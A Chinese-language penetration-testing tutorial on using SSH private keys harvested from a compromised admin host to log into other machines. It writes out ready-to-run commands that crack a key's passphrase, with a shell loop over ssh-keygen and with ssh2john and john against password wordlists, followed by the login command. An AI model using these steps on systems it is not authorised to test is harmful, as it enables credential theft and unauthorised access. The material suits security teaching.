在滲透中,經常會發現某管理員主機上保存了大量機器的公私鑰用於ssh證書登錄。這個時候可以通過這個證書進行遠程登錄。
先回顧下證書登錄通常的配置方法
一、生成不帶passphrase的公私鑰證書實現免密登錄:
root@kali:~/.ssh# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:ptikL9/0CSXOM2QrUcWyohUYhI4ofdgIZraTJdBwTjI root@kali The key's randomart image is: +---[RSA 2048]----+ |Eooooo .. | |.@o.. . ... | |==*+ ..o | |++= o o.. | |. .. oo.S . | | .= O + | | o + O | | .. + = . | | oo . o | +----[SHA256]-----+
然后將生成的公鑰拷貝到目標機器的authorized_keys文件中,可以手動拷貝,也可以通過ssh-copy-id命令進行
運行ssh-keygen就可以自動生成公私鑰,如下代碼所示。注意加粗部分:大部分情況下,管理員為了實現免密登錄,會在輸入passphrase的時候直接回車跳過,只需要把生成的ids_rsa.pub放到目標機器的.ssh/authorized_keys中,這樣在進行遠程登錄的時候就不在需要任何操作,直接運行以下命令即可登錄成功
ssh -i "ids_rsa文件路徑" "生成證書的用戶名"@hostip #一般ids_rsa會直接生成在/home/用戶名/.ssh目錄下,這時候不需要通過i參數指定ids_rsa文件的位置
這里authorized_keys文件權限要為600,.ssh文件夾權限要為700
二、passphrase的破解
但是,有些時候,管理員具備一定的安全意識,不會忽略這個passphrase,我們即使拿到了公私鑰,沒有這個passphrase也無法進行登錄,這時候就需要進行破解,如下圖所示
1、先查看這個公私鑰適用的用戶:
查看ids_rsa.pub文件,最后一段就是可以登錄的用戶,如下圖所示,當前公私鑰適用於user用戶
2、獲取到適用的用戶后,可以通過以下腳本破解passphrase,這里需要破解的目標文件是ids_rsa
方法一:ssh-keygen爆破
cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen -c -C "user@forandsix2" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done
方法二:使用john爆破
root@kali:~# ssh2john ./id_rsa > crack.txt root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
root@kali:~# john crack.txt --show
*注:方法一適用於字典較小情況下進行爆破的情況,遇到大規模字典還是要使用方法二來進行,且前者需要知道目標機器的hostname
3、通過破解出來的passphrase進行登錄即可
ssh -i ids_rsa user@x.x.x.x
部分參考自:https://hk.saowen.com/a/c99a2e09078b41f5e7c0fae6db217cfffc79aa487ef77ed63bd17d80ef4b3e14